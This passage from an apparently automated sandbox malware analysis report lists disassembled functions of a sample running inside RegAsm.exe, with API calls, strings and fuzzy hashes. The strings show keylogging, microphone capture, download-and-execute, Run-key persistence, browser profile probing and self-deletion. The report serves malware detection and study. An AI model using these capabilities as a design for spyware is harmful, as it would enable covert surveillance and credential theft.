                      • KeepAlive | Enabled | Timeout: , xrefs: 0040501F
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LocalTime
                      • String ID: KeepAlive | Enabled | Timeout:
                      • API String ID: 481472006-1507639952
                      • Opcode ID: 5b49fe7ebc3dd67cdf94e38743eb20928709a3ec39b389cca4b516c591649347
                      • Instruction ID: 59903f388a44bacb81d563bcbf5ab321eb0051b597eccb46fab67989b44e7fd4
                      • Opcode Fuzzy Hash: 5b49fe7ebc3dd67cdf94e38743eb20928709a3ec39b389cca4b516c591649347
                      • Instruction Fuzzy Hash: 1D21F2719046405BD710B7259C0676F7B64E751308F40087EE8491B2A6DA7D5A88CBEF
                      Function 0041663B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON
                      Download Yara Rule
                      APIs
                      • Sleep.KERNEL32 ref: 00416640
                      • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166A2
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DownloadFileSleep
                      • String ID: !D@
                      • API String ID: 1931167962-604454484
                      • Opcode ID: e2f37744b7fb9eb9058f71ff0aa918298059d13fe50ac3369e39da324d73493c
                      • Instruction ID: f21b004d79e7af0ef9ad63e4b6518ad07bb10e0138b316cec4f8e9f86784bb19
                      • Opcode Fuzzy Hash: e2f37744b7fb9eb9058f71ff0aa918298059d13fe50ac3369e39da324d73493c
                      • Instruction Fuzzy Hash: C6115171A083029AC714FF72D8969BE77A8AF54348F400C3FF546621E2EE3C9949C65A
                      Function 100016AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _strlen
                      • String ID: : $Se.
                      • API String ID: 4218353326-4089948878
                      • Opcode ID: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                      • Instruction ID: 66f447a9efa091531784e06c0e565222335d100d85517175c1dac28435e0d9bb
                      • Opcode Fuzzy Hash: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                      • Instruction Fuzzy Hash: 2F11E7B5904249AEDB11DFA8D841BDEFBFCEF09244F104056E545E7252E6706B02C765
                      Function 0041B4EF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                      Download Yara Rule
                      APIs
                      • GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LocalTime
                      • String ID: | $%02i:%02i:%02i:%03i
                      • API String ID: 481472006-2430845779
                      • Opcode ID: 9943bc0e607642414e1270e8ed0348d03c595322458554df1a59568979ca2f05
                      • Instruction ID: b0c371a91d376d28eb23a1cf2c2b6b2589463c7c7bf84255da33bc44f247512a
                      • Opcode Fuzzy Hash: 9943bc0e607642414e1270e8ed0348d03c595322458554df1a59568979ca2f05
                      • Instruction Fuzzy Hash: 361181714082055AC304EB62D8419BFB3E9AB44348F50093FF895A21E1EF3CDA49C65A
                      Function 0041AD17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                      Download Yara Rule
                      APIs
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0041AD3C
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: alarm.wav$hYG
                      • API String ID: 1174141254-2782910960
                      • Opcode ID: 18e052de717180e5ab5073ed062dd2c189db3243629e7a025cf8991a71f881ef
                      • Instruction ID: 1ebdaa4a32a078914063a8122a991a3a49773bb3edac1861de613ef54c78e1f6
                      • Opcode Fuzzy Hash: 18e052de717180e5ab5073ed062dd2c189db3243629e7a025cf8991a71f881ef
                      • Instruction Fuzzy Hash: 7A01F5B064460156C604F37698167EE37464B80319F00447FF68A266E2EFBC9D99C68F
                      Function 0040B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                        • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      • CloseHandle.KERNEL32(?), ref: 0040B0B4
                      • UnhookWindowsHookEx.USER32 ref: 0040B0C7
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                      • String ID: Online Keylogger Stopped
                      • API String ID: 1623830855-1496645233
                      • Opcode ID: 086a3c4929947be54678252dfea77875741b8c789e716d5a77e1f3bca4bdded6
                      • Instruction ID: 2e372e3e3892c4e8816e9c8053feed756abc81e7e35a03d4dadb391bbfa0e77d
                      • Opcode Fuzzy Hash: 086a3c4929947be54678252dfea77875741b8c789e716d5a77e1f3bca4bdded6
                      • Instruction Fuzzy Hash: 0101F5306002049BD7217B35C80B3BF7BA59B41305F40007FE642226D2EBB91845D7DE
                      Function 10001EDE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                      Download Yara Rule
                      APIs
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 10002903
                        • Part of subcall function 100035D2: RaiseException.KERNEL32(?,?,?,10002925,00000000,00000000,00000000,?,?,?,?,?,10002925,?,100121B8), ref: 10003632
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 10002920
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: Exception@8Throw$ExceptionRaise
                      • String ID: Unknown exception
                      • API String ID: 3476068407-410509341
                      • Opcode ID: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                      • Instruction ID: 696891806b75a506f07e96a947ab79166ff1ea0d2f17bc9dac180a151cc952bd
                      • Opcode Fuzzy Hash: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                      • Instruction Fuzzy Hash: 2BF0A47890420D77AB04E6E5EC4599D77ACDB006D0F508161FD1496499EF31FA658690
                      Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                      Download Yara Rule
                      APIs
                      • waveInPrepareHeader.WINMM(00899168,00000020,?), ref: 00401849
                      • waveInAddBuffer.WINMM(00899168,00000020), ref: 0040185F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: wave$BufferHeaderPrepare
                      • String ID: XMG
                      • API String ID: 2315374483-813777761
                      • Opcode ID: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                      • Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
                      • Opcode Fuzzy Hash: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                      • Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8
                      Function 00448AE6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • IsValidLocale.KERNEL32(00000000,JD,00000000,00000001,?,?,00444AEA,?,?,004444CA,?,00000004), ref: 00448B32
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LocaleValid
                      • String ID: IsValidLocaleName$JD
                      • API String ID: 1901932003-2234456777
                      • Opcode ID: 8ed56ec59b6d4db5e47e15cf77ebd157549768ac78bfa39ea2b76d2b56dc7c94
                      • Instruction ID: c43517d2c5aad0833927174c53c021eab8a1ac695cd7bc198788f3b2bcf9e263
                      • Opcode Fuzzy Hash: 8ed56ec59b6d4db5e47e15cf77ebd157549768ac78bfa39ea2b76d2b56dc7c94
                      • Instruction Fuzzy Hash: D6F05230A80308F7DB106B60DC06FAEBF58CB04B52F10017EFD046B291CE786E05929E
                      Function 0040C4C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                      Download Yara Rule
                      APIs
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: UserProfile$\AppData\Local\Google\Chrome\
                      • API String ID: 1174141254-4188645398
                      • Opcode ID: d11da1c58d5dd2ef9da09c3ea68de0927d50847f2cce6e72d2cc7c3e9ccd8b86
                      • Instruction ID: 529cceb54bdbac8586af3e6ebd5273a77adcdcd577382419881006e182ae29c8
                      • Opcode Fuzzy Hash: d11da1c58d5dd2ef9da09c3ea68de0927d50847f2cce6e72d2cc7c3e9ccd8b86
                      • Instruction Fuzzy Hash: 96F05E31A00219A6C604BBF69C478BF7B3C9D50709B50017FBA01B61D3EE789945C6EE
                      Function 0040C526 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                      Download Yara Rule
                      APIs
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                      • API String ID: 1174141254-2800177040
                      • Opcode ID: 62d77e7710f88fd67431bbf20b3e0d601dfd53fd2a54c8c31c6ded84776c1d6f
                      • Instruction ID: 330371ab8f71d6844e3501a7b0875f3b866c8fe31c1dcac5d822fe972055fe7f
                      • Opcode Fuzzy Hash: 62d77e7710f88fd67431bbf20b3e0d601dfd53fd2a54c8c31c6ded84776c1d6f
                      • Instruction Fuzzy Hash: ECF05E31A00219A6CA14B7B69C47CEF7B6C9D50705B10017FB602B61D2EE78994186EE
                      Function 0040C589 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                      Download Yara Rule
                      APIs
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040C5BC
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExistsFilePath
                      • String ID: AppData$\Opera Software\Opera Stable\
                      • API String ID: 1174141254-1629609700
                      • Opcode ID: cbec4c721474318851a7c02d4d9936ce5133d15acec931d959add52bdfa17e90
                      • Instruction ID: 49b076bb86b4c8db4da1bdedad10e463925805c403c57d636a3174f469f12df7
                      • Opcode Fuzzy Hash: cbec4c721474318851a7c02d4d9936ce5133d15acec931d959add52bdfa17e90
                      • Instruction Fuzzy Hash: 13F05E31A00319A6CA14B7B69C47CEF7B7C9D10709B40017BB601B61D2EE789D4586EA
                      Function 0040B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                      Download Yara Rule
                      APIs
                      • GetKeyState.USER32(00000011), ref: 0040B64B
                        • Part of subcall function 0040A3E0: GetForegroundWindow.USER32 ref: 0040A416
                        • Part of subcall function 0040A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
                        • Part of subcall function 0040A3E0: GetKeyboardLayout.USER32 ref: 0040A429
                        • Part of subcall function 0040A3E0: GetKeyState.USER32(00000010), ref: 0040A433
                        • Part of subcall function 0040A3E0: GetKeyboardState.USER32(?), ref: 0040A43E
                        • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A461
                        • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A4C1
                        • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,?,0040B82F,?,?,?,?,?,00000000), ref: 0040A662
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                      • String ID: [AltL]$[AltR]
                      • API String ID: 2738857842-2658077756
                      • Opcode ID: 2b71d764483a078f53a432e7892b7890680e208db1d279d2457640738fc20bd0
                      • Instruction ID: e48b288e44f9d4c6b211653e2fe3bcc76c2b66b59b43e84e4aaf588e4500f4a3
                      • Opcode Fuzzy Hash: 2b71d764483a078f53a432e7892b7890680e208db1d279d2457640738fc20bd0
                      • Instruction Fuzzy Hash: 3BE0652134021052C828323E592F6BE2D51C742754B86057FF9826B6C5DABF4D1542CF
                      Function 0044ECEC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON
                      Download Yara Rule
                      APIs
                      • GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                      • GetACP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED2E
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: uD
                      • API String ID: 0-2547262877
                      • Opcode ID: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                      • Instruction ID: 19c10458df6b4aed5d20bc802b22671fd2b069e30d3a1616a3713fc20edc201d
                      • Opcode Fuzzy Hash: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                      • Instruction Fuzzy Hash: A5F0C871800105CBEB20DB55DC897697771BF11335F144755E4394A6E2C7B98C81CF49
                      Function 0041618A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                      Download Yara Rule
                      APIs
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161A8
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExecuteShell
                      • String ID: !D@$open
                      • API String ID: 587946157-1586967515
                      • Opcode ID: 204c713d203efeff6b41638de090f7ddfc4dbb766d4a3fc6f87e83cad3270c1f
                      • Instruction ID: 73504a7432a82bf20c2cd712858cac99996ed9f8eaf32da6c0f13d1c3fa6c831
                      • Opcode Fuzzy Hash: 204c713d203efeff6b41638de090f7ddfc4dbb766d4a3fc6f87e83cad3270c1f
                      • Instruction Fuzzy Hash: 2FE0ED712483059AD614EA72DC91AFE7358AB54755F40083FF506514E2EE3C5849C65A
                      Function 0040B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                      Download Yara Rule
                      APIs
                      • GetKeyState.USER32(00000012), ref: 0040B6A5
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: State
                      • String ID: [CtrlL]$[CtrlR]
                      • API String ID: 1649606143-2446555240
                      • Opcode ID: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                      • Instruction ID: bec5627f59812d2efb235ad4bfa8f6d19d2d97b3e0140e65676d9d4505e8418d
                      • Opcode Fuzzy Hash: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                      • Instruction Fuzzy Hash: 6FE04F2160021052C524363D5A1E67D2911CB52754B42096FF882A76CADEBF891543CF
                      Function 0040E79F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                      • __Init_thread_footer.LIBCMT ref: 00410F29
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Init_thread_footer__onexit
                      • String ID: ,kG$0kG
                      • API String ID: 1881088180-2015055088
                      • Opcode ID: 3543072a86426642cb3d95922a277c4e502be0bac8cf48ffd361c80e3a631357
                      • Instruction ID: c595ded0a674a2b9ccc74dbc71d20adb946c68f5a758ea4f5ad5526f3cc50642
                      • Opcode Fuzzy Hash: 3543072a86426642cb3d95922a277c4e502be0bac8cf48ffd361c80e3a631357
                      • Instruction Fuzzy Hash: 35E0D8312149208EC214A32995829C93791DB4E335B61412BF414D72D5CBAEB8C1CA1D
                      Function 00413A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A2F
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DeleteOpenValue
                      • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                      • API String ID: 2654517830-1051519024
                      • Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                      • Instruction ID: 6fb421a43559def270d35797bbb86f7c8bc210cd52a17bc53693ea6618a40a87
                      • Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                      • Instruction Fuzzy Hash: 99E0C23124420CFBDF104F71DD06FFA376CDB01F42F1006A5BA0692091C626DF049668
                      Function 0040B869 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22fileCOMMON
                      Download Yara Rule
                      APIs
                      • DeleteFileW.KERNEL32(00000000,?,pth_unenc), ref: 0040B876
                      • RemoveDirectoryW.KERNEL32(00000000,?,pth_unenc), ref: 0040B8A1
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DeleteDirectoryFileRemove
                      • String ID: pth_unenc
                      • API String ID: 3325800564-4028850238
                      • Opcode ID: f0c530d5f410f6e48232dff94e8b4526202df80a5f9212f67769b953604160dd
                      • Instruction ID: 8281cfb8de641f04b50c20d0c8e921e0d4b8d2282f61a3be21f0805504db5409
                      • Opcode Fuzzy Hash: f0c530d5f410f6e48232dff94e8b4526202df80a5f9212f67769b953604160dd
                      • Instruction Fuzzy Hash: 45E046321007119BCB14AB258C48AD6339CAF0031AF00486FA492A32A1DF38AC09CAA8
                      Function 00412850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                      Download Yara Rule
                      APIs
                      • TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                      • WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ObjectProcessSingleTerminateWait
                      • String ID: pth_unenc
                      • API String ID: 1872346434-4028850238
                      • Opcode ID: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                      • Instruction ID: 1c2a9d3d993a2aa40768a62e13ec0bdc830226799852dc8a6b6faba0c59f1205
                      • Opcode Fuzzy Hash: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                      • Instruction Fuzzy Hash: 2FD01234189312FFD7350F60EE4DB043B98A705362F140265F428512F1C7A58994EA59
                      Function 00440C91 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440D27
                      • GetLastError.KERNEL32 ref: 00440D35
                      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440D90
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharMultiWide$ErrorLast
                      • String ID:
                      • API String ID: 1717984340-0
                      • Opcode ID: 06151d672a34678faa0f1c8d5979b725e0733317c82078799b35041d461e39d5
                      • Instruction ID: f204e272a103731937cf510deb2d9f687334ef06d731906aa630a644c7418207
                      • Opcode Fuzzy Hash: 06151d672a34678faa0f1c8d5979b725e0733317c82078799b35041d461e39d5
                      • Instruction Fuzzy Hash: BA411871A00206EFEF218FA5C8447AB7BA5EF45310F10816BFA549B3A1DB38AD25C759
                      Function 00411B5F Relevance: 5.1, APIs: 4, Instructions: 119COMMON
                      Download Yara Rule
                      APIs
                      • IsBadReadPtr.KERNEL32(?,00000014,00000000,00000000,00000001,?,?,?,00411EF0), ref: 00411B8C
                      • IsBadReadPtr.KERNEL32(?,00000014,00411EF0), ref: 00411C58
                      • SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C7A
                      • SetLastError.KERNEL32(0000007E,00411EF0), ref: 00411C91
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLastRead
                      • String ID:
                      • API String ID: 4100373531-0
                      • Opcode ID: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
